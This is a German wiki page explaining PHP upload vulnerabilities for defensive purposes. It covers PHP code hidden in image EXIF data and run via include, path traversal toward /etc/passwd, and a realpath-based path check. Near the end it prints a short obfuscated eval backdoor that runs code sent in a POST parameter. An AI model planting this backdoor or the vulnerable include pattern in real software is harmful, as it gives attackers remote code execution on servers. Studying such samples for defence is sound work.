PHP - Upload Vulnerabilities

Aus Wikizone
Version vom 31. Januar 2020, 10:16 Uhr von 37.49.72.8 (Diskussion) (Die Seite wurde neu angelegt: „== Links == https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung - interessanter Artikel mit einigen Suchpatterns https…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Wechseln zu: Navigation, Suche

Links

https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung - interessanter Artikel mit einigen Suchpatterns
https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389

Neben gehackten FTP Zugängen oder Accounts sind Uploads durch Frontend oder Backenduser eine der beliebtesten Methoden um Schadcode auf den Server zu bringen.

Wie funktioniert der Upload schädlicher Dateien

Der Hacker muss für 2 Dinge sorgen:

  • schädliche Datei auf den Server laden
  • die Datei von außen ausführen können

PHP Dateien werden entweder direkt durch aufrufen ausgeführt oder über eine Datei (meist index.php) geroutet. Dies funktioniert i.d.R. über include, require etc.

Außerdem gibt es "gefährliche" Funktionen. Die Eval Funktion z.B. führt Code aus der an Sie übergeben wird. Das macht sie für Hacks interessant.

Ein Hacker versucht also eine Datei direkt auf dem Server zu platzieren, oder / und vorhandene Dateien zu manipulieren, so dass sie Code ausführen können oder per include etc. Code nachladen.

PHP - Schmuggler

Wenn ein User Dateien über ein Webforumular hochladen darf werden die hochgeladenen Dateien bestenfalls durch einige Maßnahmen geschützt. PHP-Dateien sollte der Webserver immer ablehenen. Doch die Erkennung hat Schwächen. Alleine die Endung einer Datei (.jpg, .php, .exe) garantiert nicht, dass die Datei von einem keinem Programm gelesen wird.

PHP in Bildern und anderen Dateien

Bilddateien enthalten neben den Bildinformationen auch Textinformationen (z.B. EXIF Daten, Datei-Header...) Wenn man Code in die Datei schreiben könnte und PHP dazu bringt diesen Code auszuführen, könnte man Code leichter auf den Server bringen, denn der Upload von Bildern ist oft erlaubt.

Man sollte annehmen, dass PHP nur Code aus gültigen PHP Dateien ausführt. Aus Kompatibilitätsgründen ist das aber nicht so. Interessanterweise gibt PHP Dateien, die mit include integriert werden direkt aus:

<h1>Problem?</h1>
<img src="troll-face.jpg">
<?php
include "./troll-face.jpg";

Das Ergebnis des include Statements ist Buchstabensalat. Erst mal kein Problem. Wenn man aber mit einem EXIF-Editor in das Camera maker Feld Code in dieser Art einfügt:

<?php echo "

Yep, a problem!

"; phpinfo(); ?>

interpretiert PHP den

<?php ... ?>  // could also be <?= ... ?>

Abschnitt als gültigen PHP Code und führt diesen aus. Wenn ein include mit Variablen arbeitet kann es also gefährlich werden:

// bad example, do not use!
if (substr($file, 0, strlen($folder)) === $folder) {
  include $file;
}

Includes - Pfade manipulieren

Oft werden relative Pfade benutzt um in includes Dateien zu integrieren.

/path/to/folder/../../../../../../../another/path/from/root/

Wenn ein User Bilder hochlädt werden diese z.B. in einen speziellen Ordner der auf der User Eingabe basiert hochgeladen.

include $folder . "/" . $_GET['some']; // or $_POST, or whatever

Das ist eine schlechte Idee, denn ein User könnte auch so etwas senden:

../../../../../../etc/.passwd

Generell sollte man in Includes besser mit PHP Funktionen wie:

basename()
realpath()

arbeiten. So lassen sich die Pfade nicht mehr manipulieren.

Beispiel Filecheck

<?php
/**
 * Example for the article at medium.com
 * Created by Igor Data.
 * User: igordata
 * Date: 2017-01-23
 * @link https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389 Read the article
 */



/**
 * Check that path is really inside that folder, and return path if yes, and false if not.
 * @param String $path Path to check
 * @param String $folder Path to folder, where $path have to be in
 * @return bool|string False on fail, or $path on success
 *
 */
function checkPathIsInFolder($path, $folder) {
		if ($path === '' OR $path === null OR $path === false OR $folder === '' OR $folder === null OR $folder === false) {
			/* can't use empty() because it can be a string like "0", and it's valid path */
        return false;
    }
    $folderRealpath = realpath($folder);
    $pathRealpath = realpath($path);
    if ($pathRealpath === false OR $folderRealpath === false) {
        // Some of paths is empty
        return false;
    }
    $folderRealpath = rtrim($folderRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    $pathRealpath = rtrim($pathRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if (strlen($pathRealpath) < strlen($folderRealpath)) {
        // File path is shorter that a folder path. This file can't be inside that folder.
        return false;
    }
    if (substr($pathRealpath, 0, strlen($folderRealpath)) !== $folderRealpath) {
        // Path to a folder of file is not equal to a path to a folder where it have to be located
        return false;
    }
    // OK
    return $path;
}

Beispiele

== Einfacher Filecheck für Upload

Eval is Evil

Z.B. über Manipulierte Bider die vom Apache als PHP interpretiert werden versucht der Angreifer PHP Dateien einzuschleusen. Oft wir die eval Funktion genutzt um dann über _POST übermittelten Code ausführen zu können. Beispiel für ein einfaches Remote Control Script mit einfacher Cachierung:

$qV="stop_"; 
$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]); // stop_ wird zu _POST
if(isset(${$s20}['q760097'])){
	eval(${$s20}['q760097']); // Wenn der POST Parameter q760097 übermittelt wird wird der Wert als Code ausgeführt
}